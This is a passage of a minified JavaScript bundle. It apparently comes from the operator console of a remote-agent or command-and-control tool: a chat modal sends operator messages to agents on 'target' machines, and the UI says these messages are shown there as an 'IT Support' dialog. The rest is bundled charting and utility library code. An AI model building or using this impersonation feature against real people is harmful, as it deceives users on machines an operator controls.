${v}`}:{}}});if(b.ok){const w=await b.json();a(w)}}catch{}finally{f(!1)}},[e]);p.useEffect(()=>{n&&(f(!0),g())},[n,g]),p.useEffect(()=>{if(!n)return;const v=setInterval(g,3e3);return()=>clearInterval(v)},[n,g]),p.useEffect(()=>{if(!(!n||!x)&&x.type==="event"){const v=x.payload;v.event_type==="task_result"&&v.agent_id===e&&g()}},[x,n,e,g]),p.useEffect(()=>{var v;(v=m.current)==null||v.scrollIntoView({behavior:"smooth"})},[i]),p.useEffect(()=>{n&&setTimeout(()=>{var v;return(v=h.current)==null?void 0:v.focus()},100)},[n]);async function y(){if(!(!o.trim()||c)){u(!0);try{const v=rt(),b=await fetch(`/api/agents/${e}/chat`,{method:"POST",headers:{"Content-Type":"application/json",...v?{Authorization:`Bearer ${v}`}:{}},body:JSON.stringify({message:o.trim()})});if(b.ok){l("");const w=await b.json();a(j=>[...j,{id:w.task_id+"-op",direction:"operator",sender:"you",message:o.trim(),timestamp:new Date().toISOString()}])}}catch{}finally{u(!1)}}}return n?s.jsx("div",{className:"fixed inset-0 z-[9998] flex items-center justify-center bg-black/50",children:s.jsxs("div",{className:"flex h-[600px] w-[480px] flex-col border border-zerin-panel-border bg-zerin-bg shadow-2xl",children:[s.jsxs("div",{className:"flex items-center justify-between border-b border-zerin-panel-border bg-zerin-panel px-4 py-3",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("svg",{className:"h-4 w-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 12h.01M12 12h.01M16 12h.01M21 12c0 4.418-4.03 8-9 8a9.863 9.863 0 01-4.255-.949L3 20l1.395-3.72C3.512 15.042 3 13.574 3 12c0-4.418 4.03-8 9-8s9 3.582 9 8z"})}),s.jsx("span",{className:"font-display text-sm font-semibold text-zerin-text",children:"Chat"}),s.jsx("span",{className:"font-mono text-xs text-zerin-text-muted",children:t})]}),s.jsx("button",{onClick:r,className:"text-zerin-text-muted transition-colors hover:text-zerin-text",children:s.jsx("svg",{className:"h-4 w-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),s.jsxs("div",{className:"flex-1 overflow-y-auto px-4 py-3 space-y-3",children:[d?s.jsx("div",{className:"flex h-full items-center justify-center",children:s.jsx("span",{className:"text-sm text-zerin-text-muted",children:"Loading..."})}):i.length===0?s.jsxs("div",{className:"flex h-full flex-col items-center justify-center gap-2",children:[s.jsx("svg",{className:"h-8 w-8 text-zerin-text-muted/30",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 12h.01M12 12h.01M16 12h.01M21 12c0 4.418-4.03 8-9 8a9.863 9.863 0 01-4.255-.949L3 20l1.395-3.72C3.512 15.042 3 13.574 3 12c0-4.418 4.03-8 9-8s9 3.582 9 8z"})}),s.jsx("p",{className:"text-sm text-zerin-text-muted",children:"No messages yet"}),s.jsx("p",{className:"text-xs text-zerin-text-muted/60",children:"Send a message to start a conversation with the target"})]}):i.map(v=>s.jsx("div",{className:`flex ${v.direction==="operator"?"justify-end":"justify-start"}`,children:s.jsxs("div",{className:`max-w-[80%] px-3 py-2 ${v.direction==="operator"?"bg-zerin-accent/20 border border-zerin-accent/30":"bg-zerin-panel border border-zerin-panel-border"}`,children:[s.jsxs("div",{className:"flex items-center gap-2 mb-0.5",children:[s.jsx("span",{className:`text-[10px] font-semibold uppercase tracking-wider ${v.direction==="operator"?"text-zerin-accent":"text-zerin-text-muted"}`,children:v.direction==="operator"?v.sender:"Target"}),s.jsx("span",{className:"text-[10px] text-zerin-text-muted/50",children:n_(v.timestamp)})]}),s.jsx("p",{className:"text-sm text-zerin-text whitespace-pre-wrap break-words",children:v.message})]})},v.id)),s.jsx("div",{ref:m})]}),s.jsxs("div",{className:"border-t border-zerin-panel-border bg-zerin-panel px-4 py-3",children:[s.jsxs("div",{className:"flex gap-2",children:[s.jsx("input",{ref:h,type:"text",value:o,onChange:v=>l(v.target.value),onKeyDown:v=>{v.key==="Enter"&&!v.shiftKey&&(v.preventDefault(),y())},placeholder:"Type a message...",className:`flex-1 bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-zerin-text placeholder-zerin-text-muted text-sm font-sans\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200`}),s.jsx("button",{onClick:y,disabled:!o.trim()||c,className:`bg-zerin-accent px-4 py-2 text-sm font-medium text-white\r + transition-colors hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed`,children:c?"...":"Send"})]}),s.jsx("p",{className:"mt-1.5 text-[10px] text-zerin-text-muted/50",children:"Messages appear as an IT Support dialog on the target machine"})]})]})}):null}function n_(e){try{return new Date(e).toLocaleTimeString([],{hour:"2-digit",minute:"2-digit"})}catch{return e}}const r_=({open:e,onClose:t,title:n,children:r})=>{const i=p.useRef(null);return p.useEffect(()=>{if(!e)return;const a=o=>{o.key==="Escape"&&t()};return document.addEventListener("keydown",a),()=>document.removeEventListener("keydown",a)},[e,t]),p.useEffect(()=>(e?document.body.style.overflow="hidden":document.body.style.overflow="",()=>{document.body.style.overflow=""}),[e]),e?s.jsxs("div",{className:"fixed inset-0 z-[9000] flex justify-end",children:[s.jsx("div",{className:"absolute inset-0 bg-black/60 transition-opacity",onClick:t}),s.jsxs("div",{ref:i,className:"animate-slide-in-right relative z-10 flex h-full w-[480px] max-w-[90vw] flex-col border-l border-zerin-panel-border bg-zerin-panel",children:[s.jsxs("div",{className:"flex items-center justify-between border-b border-zerin-panel-border px-6 py-4",children:[s.jsx("h2",{className:"font-display text-lg font-semibold text-zerin-text",children:n}),s.jsx("button",{onClick:t,className:"group flex h-8 w-8 items-center justify-center transition-colors hover:bg-zerin-panel-hover","aria-label":"Close panel",children:s.jsx("svg",{className:"h-4 w-4 text-zerin-text-dim transition-colors group-hover:text-zerin-text",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),s.jsx("div",{className:"custom-scrollbar flex-1 overflow-y-auto px-6 py-4",children:r})]})]}):null};function bj(e){var t,n,r="";if(typeof e=="string"||typeof e=="number")r+=e;else if(typeof e=="object")if(Array.isArray(e)){var i=e.length;for(t=0;t{var{children:n,width:r,height:i,viewBox:a,className:o,style:l,title:c,desc:u}=e,d=c_(e,l_),f=a||{width:r,height:i,x:0,y:0},m=Xe("recharts-surface",o);return p.createElement("svg",Nm({},Dt(d),{className:m,width:r,height:i,style:l,viewBox:"".concat(f.x," ").concat(f.y," ").concat(f.width," ").concat(f.height),ref:t}),p.createElement("title",null,c),p.createElement("desc",null,u),n)}),d_=["children","className"];function Sm(){return Sm=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{children:n,className:r}=e,i=f_(e,d_),a=Xe("recharts-layer",r);return p.createElement("g",Sm({className:a},Dt(i),{ref:t}),n)}),m_=p.createContext(null);function Ie(e){return function(){return e}}const Nj=Math.cos,Hc=Math.sin,Hn=Math.sqrt,Kc=Math.PI,cd=2*Kc,zm=Math.PI,Cm=2*zm,_i=1e-6,h_=Cm-_i;function Sj(e){this._+=e[0];for(let t=1,n=e.length;t=0))throw new Error(`invalid digits: ${e}`);if(t>15)return Sj;const n=10**t;return function(r){this._+=r[0];for(let i=1,a=r.length;i_i)if(!(Math.abs(f*c-u*d)>_i)||!a)this._append`L${this._x1=t},${this._y1=n}`;else{let h=r-o,x=i-l,g=c*c+u*u,y=h*h+x*x,v=Math.sqrt(g),b=Math.sqrt(m),w=a*Math.tan((zm-Math.acos((g+m-y)/(2*v*b)))/2),j=w/b,k=w/v;Math.abs(j-1)>_i&&this._append`L${t+j*d},${n+j*f}`,this._append`A${a},${a},0,0,${+(f*h>d*x)},${this._x1=t+k*c},${this._y1=n+k*u}`}}arc(t,n,r,i,a,o){if(t=+t,n=+n,r=+r,o=!!o,r<0)throw new Error(`negative radius: ${r}`);let l=r*Math.cos(i),c=r*Math.sin(i),u=t+l,d=n+c,f=1^o,m=o?i-a:a-i;this._x1===null?this._append`M${u},${d}`:(Math.abs(this._x1-u)>_i||Math.abs(this._y1-d)>_i)&&this._append`L${u},${d}`,r&&(m<0&&(m=m%Cm+Cm),m>h_?this._append`A${r},${r},0,1,${f},${t-l},${n-c}A${r},${r},0,1,${f},${this._x1=u},${this._y1=d}`:m>_i&&this._append`A${r},${r},0,${+(m>=zm)},${f},${this._x1=t+r*Math.cos(a)},${this._y1=n+r*Math.sin(a)}`)}rect(t,n,r,i){this._append`M${this._x0=this._x1=+t},${this._y0=this._y1=+n}h${r=+r}v${+i}h${-r}Z`}toString(){return this._}}function wx(e){let t=3;return e.digits=function(n){if(!arguments.length)return t;if(n==null)t=null;else{const r=Math.floor(n);if(!(r>=0))throw new RangeError(`invalid digits: ${n}`);t=r}return e},()=>new v_(t)}function jx(e){return typeof e=="object"&&"length"in e?e:Array.from(e)}function zj(e){this._context=e}zj.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._point=0},lineEnd:function(){(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;default:this._context.lineTo(e,t);break}}};function ud(e){return new zj(e)}function Cj(e){return e[0]}function Pj(e){return e[1]}function Ej(e,t){var n=Ie(!0),r=null,i=ud,a=null,o=wx(l);e=typeof e=="function"?e:e===void 0?Cj:Ie(e),t=typeof t=="function"?t:t===void 0?Pj:Ie(t);function l(c){var u,d=(c=jx(c)).length,f,m=!1,h;for(r==null&&(a=i(h=o())),u=0;u<=d;++u)!(u=h;--x)l.point(w[x],j[x]);l.lineEnd(),l.areaEnd()}v&&(w[m]=+e(y,m,f),j[m]=+t(y,m,f),l.point(r?+r(y,m,f):w[m],n?+n(y,m,f):j[m]))}if(b)return l=null,b+""||null}function d(){return Ej().defined(i).curve(o).context(a)}return u.x=function(f){return arguments.length?(e=typeof f=="function"?f:Ie(+f),r=null,u):e},u.x0=function(f){return arguments.length?(e=typeof f=="function"?f:Ie(+f),u):e},u.x1=function(f){return arguments.length?(r=f==null?null:typeof f=="function"?f:Ie(+f),u):r},u.y=function(f){return arguments.length?(t=typeof f=="function"?f:Ie(+f),n=null,u):t},u.y0=function(f){return arguments.length?(t=typeof f=="function"?f:Ie(+f),u):t},u.y1=function(f){return arguments.length?(n=f==null?null:typeof f=="function"?f:Ie(+f),u):n},u.lineX0=u.lineY0=function(){return d().x(e).y(t)},u.lineY1=function(){return d().x(e).y(n)},u.lineX1=function(){return d().x(r).y(t)},u.defined=function(f){return arguments.length?(i=typeof f=="function"?f:Ie(!!f),u):i},u.curve=function(f){return arguments.length?(o=f,a!=null&&(l=o(a)),u):o},u.context=function(f){return arguments.length?(f==null?a=l=null:l=o(a=f),u):a},u}class Aj{constructor(t,n){this._context=t,this._x=n}areaStart(){this._line=0}areaEnd(){this._line=NaN}lineStart(){this._point=0}lineEnd(){(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line}point(t,n){switch(t=+t,n=+n,this._point){case 0:{this._point=1,this._line?this._context.lineTo(t,n):this._context.moveTo(t,n);break}case 1:this._point=2;default:{this._x?this._context.bezierCurveTo(this._x0=(this._x0+t)/2,this._y0,this._x0,n,t,n):this._context.bezierCurveTo(this._x0,this._y0=(this._y0+n)/2,t,this._y0,t,n);break}}this._x0=t,this._y0=n}}function g_(e){return new Aj(e,!0)}function y_(e){return new Aj(e,!1)}const kx={draw(e,t){const n=Hn(t/Kc);e.moveTo(n,0),e.arc(0,0,n,0,cd)}},b_={draw(e,t){const n=Hn(t/5)/2;e.moveTo(-3*n,-n),e.lineTo(-n,-n),e.lineTo(-n,-3*n),e.lineTo(n,-3*n),e.lineTo(n,-n),e.lineTo(3*n,-n),e.lineTo(3*n,n),e.lineTo(n,n),e.lineTo(n,3*n),e.lineTo(-n,3*n),e.lineTo(-n,n),e.lineTo(-3*n,n),e.closePath()}},_j=Hn(1/3),w_=_j*2,j_={draw(e,t){const n=Hn(t/w_),r=n*_j;e.moveTo(0,-n),e.lineTo(r,0),e.lineTo(0,n),e.lineTo(-r,0),e.closePath()}},k_={draw(e,t){const n=Hn(t),r=-n/2;e.rect(r,r,n,n)}},N_=.8908130915292852,Oj=Hc(Kc/10)/Hc(7*Kc/10),S_=Hc(cd/10)*Oj,z_=-Nj(cd/10)*Oj,C_={draw(e,t){const n=Hn(t*N_),r=S_*n,i=z_*n;e.moveTo(0,-n),e.lineTo(r,i);for(let a=1;a<5;++a){const o=cd*a/5,l=Nj(o),c=Hc(o);e.lineTo(c*n,-l*n),e.lineTo(l*r-c*i,c*r+l*i)}e.closePath()}},Gf=Hn(3),P_={draw(e,t){const n=-Hn(t/(Gf*3));e.moveTo(0,n*2),e.lineTo(-Gf*n,-n),e.lineTo(Gf*n,-n),e.closePath()}},mn=-.5,hn=Hn(3)/2,Pm=1/Hn(12),E_=(Pm/2+1)*3,A_={draw(e,t){const n=Hn(t/E_),r=n/2,i=n*Pm,a=r,o=n*Pm+n,l=-a,c=o;e.moveTo(r,i),e.lineTo(a,o),e.lineTo(l,c),e.lineTo(mn*r-hn*i,hn*r+mn*i),e.lineTo(mn*a-hn*o,hn*a+mn*o),e.lineTo(mn*l-hn*c,hn*l+mn*c),e.lineTo(mn*r+hn*i,mn*i-hn*r),e.lineTo(mn*a+hn*o,mn*o-hn*a),e.lineTo(mn*l+hn*c,mn*c-hn*l),e.closePath()}};function __(e,t){let n=null,r=wx(i);e=typeof e=="function"?e:Ie(e||kx),t=typeof t=="function"?t:Ie(t===void 0?64:+t);function i(){let a;if(n||(n=a=r()),e.apply(this,arguments).draw(n,+t.apply(this,arguments)),a)return n=null,a+""||null}return i.type=function(a){return arguments.length?(e=typeof a=="function"?a:Ie(a),i):e},i.size=function(a){return arguments.length?(t=typeof a=="function"?a:Ie(+a),i):t},i.context=function(a){return arguments.length?(n=a??null,i):n},i}function qc(){}function Yc(e,t,n){e._context.bezierCurveTo((2*e._x0+e._x1)/3,(2*e._y0+e._y1)/3,(e._x0+2*e._x1)/3,(e._y0+2*e._y1)/3,(e._x0+4*e._x1+t)/6,(e._y0+4*e._y1+n)/6)}function Tj(e){this._context=e}Tj.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=NaN,this._point=0},lineEnd:function(){switch(this._point){case 3:Yc(this,this._x1,this._y1);case 2:this._context.lineTo(this._x1,this._y1);break}(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;break;case 2:this._point=3,this._context.lineTo((5*this._x0+this._x1)/6,(5*this._y0+this._y1)/6);default:Yc(this,e,t);break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t}};function O_(e){return new Tj(e)}function Mj(e){this._context=e}Mj.prototype={areaStart:qc,areaEnd:qc,lineStart:function(){this._x0=this._x1=this._x2=this._x3=this._x4=this._y0=this._y1=this._y2=this._y3=this._y4=NaN,this._point=0},lineEnd:function(){switch(this._point){case 1:{this._context.moveTo(this._x2,this._y2),this._context.closePath();break}case 2:{this._context.moveTo((this._x2+2*this._x3)/3,(this._y2+2*this._y3)/3),this._context.lineTo((this._x3+2*this._x2)/3,(this._y3+2*this._y2)/3),this._context.closePath();break}case 3:{this.point(this._x2,this._y2),this.point(this._x3,this._y3),this.point(this._x4,this._y4);break}}},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._x2=e,this._y2=t;break;case 1:this._point=2,this._x3=e,this._y3=t;break;case 2:this._point=3,this._x4=e,this._y4=t,this._context.moveTo((this._x0+4*this._x1+e)/6,(this._y0+4*this._y1+t)/6);break;default:Yc(this,e,t);break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t}};function T_(e){return new Mj(e)}function Lj(e){this._context=e}Lj.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=NaN,this._point=0},lineEnd:function(){(this._line||this._line!==0&&this._point===3)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1;break;case 1:this._point=2;break;case 2:this._point=3;var n=(this._x0+4*this._x1+e)/6,r=(this._y0+4*this._y1+t)/6;this._line?this._context.lineTo(n,r):this._context.moveTo(n,r);break;case 3:this._point=4;default:Yc(this,e,t);break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t}};function M_(e){return new Lj(e)}function Ij(e){this._context=e}Ij.prototype={areaStart:qc,areaEnd:qc,lineStart:function(){this._point=0},lineEnd:function(){this._point&&this._context.closePath()},point:function(e,t){e=+e,t=+t,this._point?this._context.lineTo(e,t):(this._point=1,this._context.moveTo(e,t))}};function L_(e){return new Ij(e)}function Yg(e){return e<0?-1:1}function Gg(e,t,n){var r=e._x1-e._x0,i=t-e._x1,a=(e._y1-e._y0)/(r||i<0&&-0),o=(n-e._y1)/(i||r<0&&-0),l=(a*i+o*r)/(r+i);return(Yg(a)+Yg(o))*Math.min(Math.abs(a),Math.abs(o),.5*Math.abs(l))||0}function Xg(e,t){var n=e._x1-e._x0;return n?(3*(e._y1-e._y0)/n-t)/2:t}function Xf(e,t,n){var r=e._x0,i=e._y0,a=e._x1,o=e._y1,l=(a-r)/3;e._context.bezierCurveTo(r+l,i+l*t,a-l,o-l*n,a,o)}function Gc(e){this._context=e}Gc.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=this._t0=NaN,this._point=0},lineEnd:function(){switch(this._point){case 2:this._context.lineTo(this._x1,this._y1);break;case 3:Xf(this,this._t0,Xg(this,this._t0));break}(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){var n=NaN;if(e=+e,t=+t,!(e===this._x1&&t===this._y1)){switch(this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;break;case 2:this._point=3,Xf(this,Xg(this,n=Gg(this,e,t)),n);break;default:Xf(this,this._t0,n=Gg(this,e,t));break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t,this._t0=n}}};function Dj(e){this._context=new Rj(e)}(Dj.prototype=Object.create(Gc.prototype)).point=function(e,t){Gc.prototype.point.call(this,t,e)};function Rj(e){this._context=e}Rj.prototype={moveTo:function(e,t){this._context.moveTo(t,e)},closePath:function(){this._context.closePath()},lineTo:function(e,t){this._context.lineTo(t,e)},bezierCurveTo:function(e,t,n,r,i,a){this._context.bezierCurveTo(t,e,r,n,a,i)}};function I_(e){return new Gc(e)}function D_(e){return new Dj(e)}function $j(e){this._context=e}$j.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x=[],this._y=[]},lineEnd:function(){var e=this._x,t=this._y,n=e.length;if(n)if(this._line?this._context.lineTo(e[0],t[0]):this._context.moveTo(e[0],t[0]),n===2)this._context.lineTo(e[1],t[1]);else for(var r=Zg(e),i=Zg(t),a=0,o=1;o=0;--t)i[t]=(o[t]-i[t+1])/a[t];for(a[n-1]=(e[n]+i[n-1])/2,t=0;t=0&&(this._t=1-this._t,this._line=1-this._line)},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;default:{if(this._t<=0)this._context.lineTo(this._x,t),this._context.lineTo(e,t);else{var n=this._x*(1-this._t)+e*this._t;this._context.lineTo(n,this._y),this._context.lineTo(n,t)}break}}this._x=e,this._y=t}};function $_(e){return new dd(e,.5)}function B_(e){return new dd(e,0)}function F_(e){return new dd(e,1)}function ea(e,t){if((o=e.length)>1)for(var n=1,r,i,a=e[t[0]],o,l=a.length;n=0;)n[t]=t;return n}function W_(e,t){return e[t]}function U_(e){const t=[];return t.key=e,t}function V_(){var e=Ie([]),t=Em,n=ea,r=W_;function i(a){var o=Array.from(e.apply(this,arguments),U_),l,c=o.length,u=-1,d;for(const f of a)for(l=0,++u;l0){for(var n,r,i=0,a=e[0].length,o;i0){for(var n=0,r=e[t[0]],i,a=r.length;n0)||!((a=(i=e[t[0]]).length)>0))){for(var n=0,r=1,i,a,o;r1&&arguments[1]!==void 0?arguments[1]:G_,n=10**t,r=Math.round(e*n)/n;return Object.is(r,-0)?0:r}function Qe(e){for(var t=arguments.length,n=new Array(t>1?t-1:0),r=1;r{var l=n[o-1];return typeof l=="string"?i+l+a:l!==void 0?i+ti(l)+a:i+a},"")}var Ut=e=>e===0?0:e>0?1:-1,lr=e=>typeof e=="number"&&e!=+e,ta=e=>typeof e=="string"&&e.indexOf("%")===e.length-1,he=e=>(typeof e=="number"||e instanceof Number)&&!lr(e),Pr=e=>he(e)||typeof e=="string",X_=0,Po=e=>{var t=++X_;return"".concat(e||"").concat(t)},sn=function(t,n){var r=arguments.length>2&&arguments[2]!==void 0?arguments[2]:0,i=arguments.length>3&&arguments[3]!==void 0?arguments[3]:!1;if(!he(t)&&typeof t!="string")return r;var a;if(ta(t)){if(n==null)return r;var o=t.indexOf("%");a=n*parseFloat(t.slice(0,o))/100}else a=+t;return lr(a)&&(a=r),i&&n!=null&&a>n&&(a=n),a},Wj=e=>{if(!Array.isArray(e))return!1;for(var t=e.length,n={},r=0;rr&&(typeof t=="function"?t(r):Co(r,t))===n)}var Pt=e=>e===null||typeof e>"u",Go=e=>Pt(e)?e:"".concat(e.charAt(0).toUpperCase()).concat(e.slice(1));function nr(e){return e!=null}function cs(){}var Z_=["type","size","sizeType"];function Am(){return Am=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var t="symbol".concat(Go(e));return Vj[t]||kx},a6=(e,t,n)=>{if(t==="area")return e;switch(n){case"cross":return 5*e*e/9;case"diamond":return .5*e*e/Math.sqrt(3);case"square":return e*e;case"star":{var r=18*r6;return 1.25*e*e*(Math.tan(r)-Math.tan(r*2)*Math.tan(r)**2)}case"triangle":return Math.sqrt(3)*e*e/4;case"wye":return(21-10*Math.sqrt(3))*e*e/8;default:return Math.PI*e*e/4}},s6=(e,t)=>{Vj["symbol".concat(Go(e))]=t},Hj=e=>{var{type:t="circle",size:n=64,sizeType:r="area"}=e,i=t6(e,Z_),a=Jg(Jg({},i),{},{type:t,size:n,sizeType:r}),o="circle";typeof t=="string"&&(o=t);var l=()=>{var m=i6(o),h=__().type(m).size(a6(n,r,o)),x=h();if(x!==null)return x},{className:c,cx:u,cy:d}=a,f=Dt(a);return he(u)&&he(d)&&he(n)?p.createElement("path",Am({},f,{className:Xe("recharts-symbols",c),transform:"translate(".concat(u,", ").concat(d,")"),d:l()})):null};Hj.registerSymbol=s6;var Kj=e=>"radius"in e&&"startAngle"in e&&"endAngle"in e,Sx=(e,t)=>{if(!e||typeof e=="function"||typeof e=="boolean")return null;var n=e;if(p.isValidElement(e)&&(n=e.props),typeof n!="object"&&typeof n!="function")return null;var r={};return Object.keys(n).forEach(i=>{bx(i)&&(r[i]=a=>n[i](n,a))}),r},o6=(e,t,n)=>r=>(e(t,n,r),null),l6=(e,t,n)=>{if(e===null||typeof e!="object"&&typeof e!="function")return null;var r=null;return Object.keys(e).forEach(i=>{var a=e[i];bx(i)&&typeof a=="function"&&(r||(r={}),r[i]=o6(a,t,n))}),r};function ey(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function c6(e){for(var t=1;t(o[l]===void 0&&r[l]!==void 0&&(o[l]=r[l]),o),n);return a}var qj={},Yj={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r){const i=new Map;for(let a=0;a=0}e.isLength=t})(Zj);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Zj;function n(r){return r!=null&&typeof r!="function"&&t.isLength(r.length)}e.isArrayLike=n})(hd);var Qj={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return typeof n=="object"&&n!==null}e.isObjectLike=t})(Qj);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=hd,n=Qj;function r(i){return n.isObjectLike(i)&&t.isArrayLike(i)}e.isArrayLikeObject=r})(Xj);var Jj={},ek={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=fd;function n(r){return function(i){return t.get(i,r)}}e.property=n})(ek);var tk={},Cx={},nk={},Px={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n!==null&&(typeof n=="object"||typeof n=="function")}e.isObject=t})(Px);var Ex={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n==null||typeof n!="object"&&typeof n!="function"}e.isPrimitive=t})(Ex);var Ax={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r){return n===r||Number.isNaN(n)&&Number.isNaN(r)}e.isEqualsSameValueZero=t})(Ax);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Px,n=Ex,r=Ax;function i(d,f,m){return typeof m!="function"?i(d,f,()=>{}):a(d,f,function h(x,g,y,v,b,w){const j=m(x,g,y,v,b,w);return j!==void 0?!!j:a(x,g,h,w)},new Map)}function a(d,f,m,h){if(f===d)return!0;switch(typeof f){case"object":return o(d,f,m,h);case"function":return Object.keys(f).length>0?a(d,{...f},m,h):r.isEqualsSameValueZero(d,f);default:return t.isObject(d)?typeof f=="string"?f==="":!0:r.isEqualsSameValueZero(d,f)}}function o(d,f,m,h){if(f==null)return!0;if(Array.isArray(f))return c(d,f,m,h);if(f instanceof Map)return l(d,f,m,h);if(f instanceof Set)return u(d,f,m,h);const x=Object.keys(f);if(d==null||n.isPrimitive(d))return x.length===0;if(x.length===0)return!0;if(h!=null&&h.has(f))return h.get(f)===d;h==null||h.set(f,d);try{for(let g=0;g{})}e.isMatch=n})(Cx);var rk={},_x={},ik={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return Object.getOwnPropertySymbols(n).filter(r=>Object.prototype.propertyIsEnumerable.call(n,r))}e.getSymbols=t})(ik);var xd={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n==null?n===void 0?"[object Undefined]":"[object Null]":Object.prototype.toString.call(n)}e.getTag=t})(xd);var Ox={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t="[object RegExp]",n="[object String]",r="[object Number]",i="[object Boolean]",a="[object Arguments]",o="[object Symbol]",l="[object Date]",c="[object Map]",u="[object Set]",d="[object Array]",f="[object Function]",m="[object ArrayBuffer]",h="[object Object]",x="[object Error]",g="[object DataView]",y="[object Uint8Array]",v="[object Uint8ClampedArray]",b="[object Uint16Array]",w="[object Uint32Array]",j="[object BigUint64Array]",k="[object Int8Array]",S="[object Int16Array]",N="[object Int32Array]",z="[object BigInt64Array]",_="[object Float32Array]",A="[object Float64Array]";e.argumentsTag=a,e.arrayBufferTag=m,e.arrayTag=d,e.bigInt64ArrayTag=z,e.bigUint64ArrayTag=j,e.booleanTag=i,e.dataViewTag=g,e.dateTag=l,e.errorTag=x,e.float32ArrayTag=_,e.float64ArrayTag=A,e.functionTag=f,e.int16ArrayTag=S,e.int32ArrayTag=N,e.int8ArrayTag=k,e.mapTag=c,e.numberTag=r,e.objectTag=h,e.regexpTag=t,e.setTag=u,e.stringTag=n,e.symbolTag=o,e.uint16ArrayTag=b,e.uint32ArrayTag=w,e.uint8ArrayTag=y,e.uint8ClampedArrayTag=v})(Ox);var ak={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return ArrayBuffer.isView(n)&&!(n instanceof DataView)}e.isTypedArray=t})(ak);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=ik,n=xd,r=Ox,i=Ex,a=ak;function o(d,f){return l(d,void 0,d,new Map,f)}function l(d,f,m,h=new Map,x=void 0){const g=x==null?void 0:x(d,f,m,h);if(g!==void 0)return g;if(i.isPrimitive(d))return d;if(h.has(d))return h.get(d);if(Array.isArray(d)){const y=new Array(d.length);h.set(d,y);for(let v=0;vt.isMatch(a,i)}e.matches=r})(tk);var sk={},ok={},lk={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=_x,n=xd,r=Ox;function i(a,o){return t.cloneDeepWith(a,(l,c,u,d)=>{const f=o==null?void 0:o(l,c,u,d);if(f!==void 0)return f;if(typeof a=="object"){if(n.getTag(a)===r.objectTag&&typeof a.constructor!="function"){const m={};return d.set(a,m),t.copyProperties(m,a,u,d),m}switch(Object.prototype.toString.call(a)){case r.numberTag:case r.stringTag:case r.booleanTag:{const m=new a.constructor(a==null?void 0:a.valueOf());return t.copyProperties(m,a),m}case r.argumentsTag:{const m={};return 